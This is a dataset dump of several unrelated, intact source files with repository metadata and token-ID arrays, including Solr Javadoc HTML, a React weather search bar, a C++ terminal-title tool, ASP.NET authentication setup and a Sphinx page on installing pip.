class="typeNameLink">RegexReplaceProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/RemoveBlankFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">RemoveBlankFieldUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/TrimFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">TrimFieldUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/TruncateFieldUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">TruncateFieldUpdateProcessorFactory</span></a></li> </ul> </li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/FieldNameMutatingUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">FieldNameMutatingUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/IgnoreCommitOptimizeUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">IgnoreCommitOptimizeUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/LogUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">LogUpdateProcessorFactory</span></a> (implements org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/UpdateRequestProcessorFactory.RunAlways.html" title="interface in org.apache.solr.update.processor">UpdateRequestProcessorFactory.RunAlways</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/NoOpDistributingUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">NoOpDistributingUpdateProcessorFactory</span></a> (implements org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DistributingUpdateProcessorFactory.html" title="interface in org.apache.solr.update.processor">DistributingUpdateProcessorFactory</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/RegexpBoostProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">RegexpBoostProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/RunUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">RunUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/SignatureUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">SignatureUpdateProcessorFactory</span></a> (implements org.apache.solr.util.plugin.<a href="../../../../../org/apache/solr/util/plugin/SolrCoreAware.html" title="interface in org.apache.solr.util.plugin">SolrCoreAware</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/SimpleUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">SimpleUpdateProcessorFactory</span></a> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/TemplateUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">TemplateUpdateProcessorFactory</span></a></li> </ul> </li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/StatelessScriptUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">StatelessScriptUpdateProcessorFactory</span></a> (implements org.apache.solr.util.plugin.<a href="../../../../../org/apache/solr/util/plugin/SolrCoreAware.html" title="interface in org.apache.solr.util.plugin">SolrCoreAware</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/TolerantUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">TolerantUpdateProcessorFactory</span></a> (implements org.apache.solr.util.plugin.<a href="../../../../../org/apache/solr/util/plugin/SolrCoreAware.html" title="interface in org.apache.solr.util.plugin">SolrCoreAware</a>, org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/UpdateRequestProcessorFactory.RunAlways.html" title="interface in org.apache.solr.update.processor">UpdateRequestProcessorFactory.RunAlways</a>)</li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/URLClassifyProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">URLClassifyProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/UUIDUpdateProcessorFactory.html" title="class in org.apache.solr.update.processor"><span class="typeNameLink">UUIDUpdateProcessorFactory</span></a></li> </ul> </li> </ul> </li> </ul> <h2 title="Interface Hierarchy">Interface Hierarchy</h2> <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DistributingUpdateProcessorFactory.html" title="interface in org.apache.solr.update.processor"><span class="typeNameLink">DistributingUpdateProcessorFactory</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/FieldMutatingUpdateProcessor.FieldNameSelector.html" title="interface in org.apache.solr.update.processor"><span class="typeNameLink">FieldMutatingUpdateProcessor.FieldNameSelector</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/ScriptEngineCustomizer.html" title="interface in org.apache.solr.update.processor"><span class="typeNameLink">ScriptEngineCustomizer</span></a></li> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/UpdateRequestProcessorFactory.RunAlways.html" title="interface in org.apache.solr.update.processor"><span class="typeNameLink">UpdateRequestProcessorFactory.RunAlways</span></a></li> </ul> <h2 title="Enum Hierarchy">Enum Hierarchy</h2> <ul> <li type="circle">java.lang.<a href="https://docs.oracle.com/javase/8/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang"><span class="typeNameLink">Object</span></a> <ul> <li type="circle">java.lang.<a href="https://docs.oracle.com/javase/8/docs/api/java/lang/Enum.html?is-external=true" title="class or interface in java.lang"><span class="typeNameLink">Enum</span></a>&lt;E&gt; (implements java.lang.<a href="https://docs.oracle.com/javase/8/docs/api/java/lang/Comparable.html?is-external=true" title="class or interface in java.lang">Comparable</a>&lt;T&gt;, java.io.<a href="https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true" title="class or interface in java.io">Serializable</a>) <ul> <li type="circle">org.apache.solr.update.processor.<a href="../../../../../org/apache/solr/update/processor/DistributedUpdateProcessor.DistribPhase.html" title="enum in org.apache.solr.update.processor"><span class="typeNameLink">DistributedUpdateProcessor.DistribPhase</span></a></li> </ul> </li> </ul> </li> </ul> </div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li>Class</li> <li>Use</li> <li class="navBarCell1Rev">Tree</li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../../org/apache/solr/update/package-tree.html">Prev</a></li> <li><a href="../../../../../org/apache/solr/util/package-tree.html">Next</a></li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/solr/update/processor/package-tree.html" target="_top">Frames</a></li> <li><a href="package-tree.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> <p class="legalCopy"><small> <i>Copyright &copy; 2000-2016 Apache Software Foundation. All Rights Reserved.</i> <script src='../../../../../prettify.js' type='text/javascript'></script> <script type='text/javascript'> (function(){ var oldonload = window.onload; if (typeof oldonload != 'function') { window.onload = prettyPrint; } else { window.onload = function() { oldonload(); prettyPrint(); } } })(); </script> </small></p> </body> </html>
johannesbraun/clm_autocomplete
docs/solr-core/org/apache/solr/update/processor/package-tree.html
HTML
apache-2.0
30,792
[ 30522, 1026, 999, 9986, 13874, 16129, 2270, 1000, 1011, 1013, 1013, 1059, 2509, 2278, 1013, 1013, 26718, 2094, 16129, 1018, 1012, 5890, 17459, 1013, 1013, 4372, 1000, 1000, 8299, 1024, 1013, 1013, 7479, 1012, 1059, 2509, 1012, 8917, 1013, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
import React, { Component } from 'react'; import { connect } from 'react-redux'; import { bindActionCreators } from 'redux'; import { fetchWeather } from '../actions/index'; class SearchBar extends Component { constructor(props) { super(props); this.state = { term: '' }; this.onInputChange = this.onInputChange.bind(this); this.onFormSubmit = this.onFormSubmit.bind(this); } onInputChange(event) { this.setState({ term: event.target.value }); } onFormSubmit(event) { event.preventDefault(); //We need to fetch data this.props.fetchWeather(this.state.term); //Reset the search bar this.setState({ term: '' }); } render() { return( <form onSubmit={this.onFormSubmit} className="input-group"> <input placeholder="Give a five-day forecast in your favorite cities" className="form-control" value={this.state.term} onChange={this.onInputChange} /> <span className="input-group-btn"> <button type="submit" className="btn btn-secondary">Search</button> </span> </form> ); } } function mapDispatchToProps(dispatch) { return bindActionCreators({ fetchWeather }, dispatch); } //Passing null to connect in first argument (application state or Redux state) is indicating //that our container or SmartComponent does not care about the application state export default connect(null, mapDispatchToProps)(SearchBar);
neosepulveda/react-redux-weather-forecast
src/containers/search_bar.js
JavaScript
mit
1,471
[ 30522, 12324, 10509, 1010, 1063, 6922, 1065, 2013, 1005, 10509, 1005, 1025, 12324, 1063, 7532, 1065, 2013, 1005, 10509, 1011, 2417, 5602, 1005, 1025, 12324, 1063, 14187, 18908, 3258, 16748, 18926, 1065, 2013, 1005, 2417, 5602, 1005, 1025, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# Canna stricta Bouché SPECIES #### Status SYNONYM #### According to The Catalogue of Life, 3rd January 2011 #### Published in null #### Original name null ### Remarks null
mdoering/backbone
life/Plantae/Magnoliophyta/Liliopsida/Zingiberales/Cannaceae/Canna/Canna glauca/ Syn. Canna stricta/README.md
Markdown
apache-2.0
178
[ 30522, 1001, 2064, 2532, 9384, 2050, 8945, 19140, 2427, 1001, 1001, 1001, 1001, 3570, 10675, 1001, 1001, 1001, 1001, 2429, 2000, 1996, 10161, 1997, 2166, 1010, 3822, 2254, 2249, 1001, 1001, 1001, 1001, 2405, 1999, 19701, 1001, 1001, 1001, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/*jshint esversion: 6 */ (function () { let locationPromise = new Promise((resolve, reject) => { navigator.geolocation.getCurrentPosition((position) => { resolve(position); }); }); locationPromise .then(displayLocation) .catch((error) => { // var errMessage = document.getElementById("main"); let errMessage = $("#main"); errMessage.html("Can not get location"); }); function displayLocation(position) { let imgSrc = `http://maps.googleapis.com/maps/api/staticmap?center=${position.coords.latitude},${position.coords.longitude}&zoom=18&size=600x600&sensor=true`; $("#locationMap").attr("src", imgSrc); } }());
tpopov94/Telerik-Academy-2016
JavaScript Applications/PromisesAndAsynchronousProgramming/01. TaskOne/main.js
JavaScript
mit
735
[ 30522, 1013, 1008, 1046, 17426, 2102, 9686, 27774, 1024, 1020, 1008, 1013, 1006, 3853, 1006, 1007, 1063, 2292, 3295, 21572, 28732, 1027, 2047, 4872, 1006, 1006, 10663, 1010, 15454, 1007, 1027, 1028, 1063, 20532, 1012, 20248, 4135, 10719, 10...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.commons.betwixt.strategy; /** * <p>A default implementation of the name mapper. * This mapper simply returns the unmodified type name.</p> * * <p>For example, <code>PropertyName</code> would be converted to <code>PropertyName</code>. * * @author <a href="mailto:jstrachan@apache.org">James Strachan</a> * @version $Revision$ */ public class DefaultNameMapper implements NameMapper { /** Used to convert bad character in the name */ private static final BadCharacterReplacingNMapper badCharacterReplacementNMapper = new BadCharacterReplacingNMapper(new PlainMapper()); /** Base implementation chained by bad character replacement mapper */ private static final class PlainMapper implements NameMapper { /** * This implementation returns the parameter passed in without modification. * * @param typeName the string to convert * @return the typeName parameter without modification */ public String mapTypeToElementName(String typeName) { return typeName; } } /** * This implementation returns the parameter passed after * deleting any characters which the XML specification does not allow * in element names. * * @param typeName the string to convert * @return the typeName parameter without modification */ public String mapTypeToElementName(String typeName) { return badCharacterReplacementNMapper.mapTypeToElementName(typeName); } }
ripdajacker/commons-betwixt
src/java/org/apache/commons/betwixt/strategy/DefaultNameMapper.java
Java
apache-2.0
2,298
[ 30522, 1013, 1008, 1008, 7000, 2000, 1996, 15895, 4007, 3192, 1006, 2004, 2546, 1007, 2104, 2028, 2030, 2062, 1008, 12130, 6105, 10540, 1012, 2156, 1996, 5060, 5371, 5500, 2007, 1008, 2023, 2147, 2005, 3176, 2592, 4953, 9385, 6095, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
#include <fstream> #include <iostream> #include <vector> int main(int argc, char **argv) { std::vector<std::string> args(argv, argv + argc); std::ofstream tty; tty.open("/dev/tty"); if (args.size() <= 1 || (args.size() & 2) == 1) { std::cerr << "usage: maplabel [devlocal remote]... remotedir\n"; return 1; } std::string curdir = args[args.size() - 1]; for (size_t i = 1; i + 1 < args.size(); i += 2) { if (curdir.find(args[i + 1]) == 0) { if ((curdir.size() > args[i + 1].size() && curdir[args[i + 1].size()] == '/') || curdir.size() == args[i + 1].size()) { tty << "\033];" << args[i] + curdir.substr(args[i + 1].size()) << "\007\n"; return 0; } } } tty << "\033];" << curdir << "\007\n"; return 0; }
uluyol/tools
maplabel/main.cc
C++
mit
804
[ 30522, 1001, 2421, 1026, 1042, 21422, 1028, 1001, 2421, 1026, 16380, 25379, 1028, 1001, 2421, 1026, 9207, 30524, 1024, 1024, 9207, 1026, 2358, 2094, 1024, 1024, 5164, 1028, 12098, 5620, 1006, 12098, 2290, 2615, 1010, 12098, 2290, 2615, 1009...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
using System; using Microsoft.AspNet.Identity; using Microsoft.AspNet.Identity.Owin; using Microsoft.Owin; using Microsoft.Owin.Security.Cookies; using Microsoft.Owin.Security.Google; using Owin; using CustomStoreForCarBusiness.Models; namespace CustomStoreForCarBusiness { public partial class Startup { // For more information on configuring authentication, please visit http://go.microsoft.com/fwlink/?LinkId=301864 public void ConfigureAuth(IAppBuilder app) { // Configure the db context, user manager and signin manager to use a single instance per request app.CreatePerOwinContext(ApplicationDbContext.Create); app.CreatePerOwinContext<ApplicationUserManager>(ApplicationUserManager.Create); app.CreatePerOwinContext<ApplicationSignInManager>(ApplicationSignInManager.Create); // Enable the application to use a cookie to store information for the signed in user // and to use a cookie to temporarily store information about a user logging in with a third party login provider // Configure the sign in cookie app.UseCookieAuthentication(new CookieAuthenticationOptions { AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie, LoginPath = new PathString("/Account/Login"), Provider = new CookieAuthenticationProvider { // Enables the application to validate the security stamp when the user logs in. // This is a security feature which is used when you change a password or add an external login to your account. OnValidateIdentity = SecurityStampValidator.OnValidateIdentity<ApplicationUserManager, ApplicationUser>( validateInterval: TimeSpan.FromMinutes(30), regenerateIdentity: (manager, user) => user.GenerateUserIdentityAsync(manager)) } }); app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie); // Enables the application to temporarily store user information when they are verifying the second factor in the two-factor authentication process. app.UseTwoFactorSignInCookie(DefaultAuthenticationTypes.TwoFactorCookie, TimeSpan.FromMinutes(5)); // Enables the application to remember the second login verification factor such as phone or email. // Once you check this option, your second step of verification during the login process will be remembered on the device where you logged in from. // This is similar to the RememberMe option when you log in. app.UseTwoFactorRememberBrowserCookie(DefaultAuthenticationTypes.TwoFactorRememberBrowserCookie); // Uncomment the following lines to enable logging in with third party login providers //app.UseMicrosoftAccountAuthentication( // clientId: "", // clientSecret: ""); //app.UseTwitterAuthentication( // consumerKey: "", // consumerSecret: ""); //app.UseFacebookAuthentication( // appId: "", // appSecret: ""); //app.UseGoogleAuthentication(new GoogleOAuth2AuthenticationOptions() //{ // ClientId = "", // ClientSecret = "" //}); } } }
peteratseneca/bti420winter2017
Week_08/CustomStoreForCarBusiness/CustomStoreForCarBusiness/App_Start/Startup.Auth.cs
C#
mit
3,474
[ 30522, 2478, 2291, 1025, 2478, 7513, 1012, 2004, 2361, 7159, 1012, 4767, 1025, 2478, 7513, 1012, 2004, 2361, 7159, 1012, 4767, 1012, 27593, 2378, 1025, 2478, 7513, 1012, 27593, 2378, 1025, 2478, 7513, 1012, 27593, 2378, 1012, 3036, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE html> <!--[if IE 8]><html class="no-js lt-ie9" lang="en" > <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en" > <!--<![endif]--> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Installation &mdash; sphinxSimDoc 1.0.1 documentation</title> <link rel="stylesheet" href="../_static/css/theme.css" type="text/css" /> <link rel="top" title="sphinxSimDoc 1.0.1 documentation" href="../index.html"/> <link rel="up" title="User’s guide" href="../guide.html"/> <link rel="next" title="How to Use" href="usage.html"/> <link rel="prev" title="Technical Specs" href="technical_specs.html"/> <script src="../_static/js/modernizr.min.js"></script> </head> <body class="wy-body-for-nav" role="document"> <div class="wy-grid-for-nav"> <nav data-toggle="wy-nav-shift" class="wy-nav-side"> <div class="wy-side-scroll"> <div class="wy-side-nav-search"> <a href="../index.html" class="icon icon-home"> sphinxSimDoc </a> <div class="version"> 1.0 </div> <div role="search"> <form id="rtd-search-form" class="wy-form" action="../search.html" method="get"> <input type="text" name="q" placeholder="Search docs" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> </div> <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation"> <ul class="current"> <li class="toctree-l1 current"><a class="reference internal" href="../guide.html">User&#8217;s guide</a><ul class="current"> <li class="toctree-l2"><a class="reference internal" href="details.html">Details</a></li> <li class="toctree-l2"><a class="reference internal" href="overview.html">Overview</a></li> <li class="toctree-l2"><a class="reference internal" href="technical_specs.html">Technical Specs</a></li> <li class="toctree-l2 current"><a class="current reference internal" href="#">Installation</a><ul class="simple"> </ul> </li> <li class="toctree-l2"><a class="reference internal" href="usage.html">How to Use</a></li> </ul> </li> <li class="toctree-l1"><a class="reference internal" href="../README.html">sphinxSimDoc</a></li> <li class="toctree-l1"><a class="reference internal" href="../getting_started.html">Getting started</a></li> <li class="toctree-l1"><a class="reference internal" href="../custom_look.html">Customizing the look and feel of the site</a></li> </ul> </div> </div> </nav> <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap"> <nav class="wy-nav-top" role="navigation" aria-label="top navigation"> <i data-toggle="wy-nav-top" class="fa fa-bars"></i> <a href="../index.html">sphinxSimDoc</a> </nav> <div class="wy-nav-content"> <div class="rst-content"> <div role="navigation" aria-label="breadcrumbs navigation"> <ul class="wy-breadcrumbs"> <li><a href="../index.html">Docs</a> &raquo;</li> <li><a href="../guide.html">User&#8217;s guide</a> &raquo;</li> <li>Installation</li> <li class="wy-breadcrumbs-aside"> <a href="../_sources/guide/installation.txt" rel="nofollow"> View page source</a> </li> </ul> <hr/> </div> <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article"> <div itemprop="articleBody"> <div class="section" id="installation"> <h1>Installation<a class="headerlink" href="#installation" title="Permalink to this headline">¶</a></h1> <div class="highlight-default"><div class="highlight"><pre><span></span><span class="n">pip</span> <span class="n">install</span> <span class="n">sphinx</span> </pre></div> </div> <p>In case pip is not installed then you can follow the following methods to install pip.</p> <div class="section" id="pip-installation"> <h2>Pip Installation<a class="headerlink" href="#pip-installation" title="Permalink to this headline">¶</a></h2> <ol class="arabic"> <li><p class="first"><strong>General - Method 1:</strong></p> <p>Follow the below link to install pip for the official pip documentation page, <a class="reference external" href="https://pip.pypa.io/en/stable/installing/">pip</a>.</p> </li> <li><p class="first"><strong>Linux Users - Method 2:</strong></p> <p>For <code class="docutils literal"><span class="pre">GNU/Linux</span></code>, use the this <a class="reference external" href="http://ask.xmodulo.com/install-pip-linux.html">link</a></p> </li> <li><p class="first"><strong>For Mac Users - Method 3:</strong></p> <p>If you installed python on MAC OS X via <code class="docutils literal"><span class="pre">brew</span> <span class="pre">install</span> <span class="pre">python</span></code>, then pip is already installed along with python.</p> </li> </ol> </div> </div> </div> </div> <footer> <div class="rst-footer-buttons" role="navigation" aria-label="footer navigation"> <a href="usage.html" class="btn btn-neutral float-right" title="How to Use" accesskey="n">Next <span class="fa fa-arrow-circle-right"></span></a> <a href="technical_specs.html" class="btn btn-neutral" title="Technical Specs" accesskey="p"><span class="fa fa-arrow-circle-left"></span> Previous</a> </div> <hr/> <div role="contentinfo"> <p> &copy; Copyright 2016, Anirban Roy Das. </p> </div> Built with <a href="http://sphinx-doc.org/">Sphinx</a> using a <a href="https://github.com/snide/sphinx_rtd_theme">theme</a> provided by <a href="https://readthedocs.org">Read the Docs</a>. </footer> </div> </div> </section> </div> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT:'../', VERSION:'1.0.1', COLLAPSE_INDEX:false, FILE_SUFFIX:'.html', HAS_SOURCE: true }; </script> <script type="text/javascript" src="../_static/jquery.js"></script> <script type="text/javascript" src="../_static/underscore.js"></script> <script type="text/javascript" src="../_static/doctools.js"></script> <script type="text/javascript" src="../_static/js/theme.js"></script> <script type="text/javascript"> jQuery(function () { SphinxRtdTheme.StickyNav.enable(); }); </script> </body> </html>
anirbanroydas/sphinxSimDoc
sampledoc/_build/html/guide/installation.html
HTML
mit
6,926
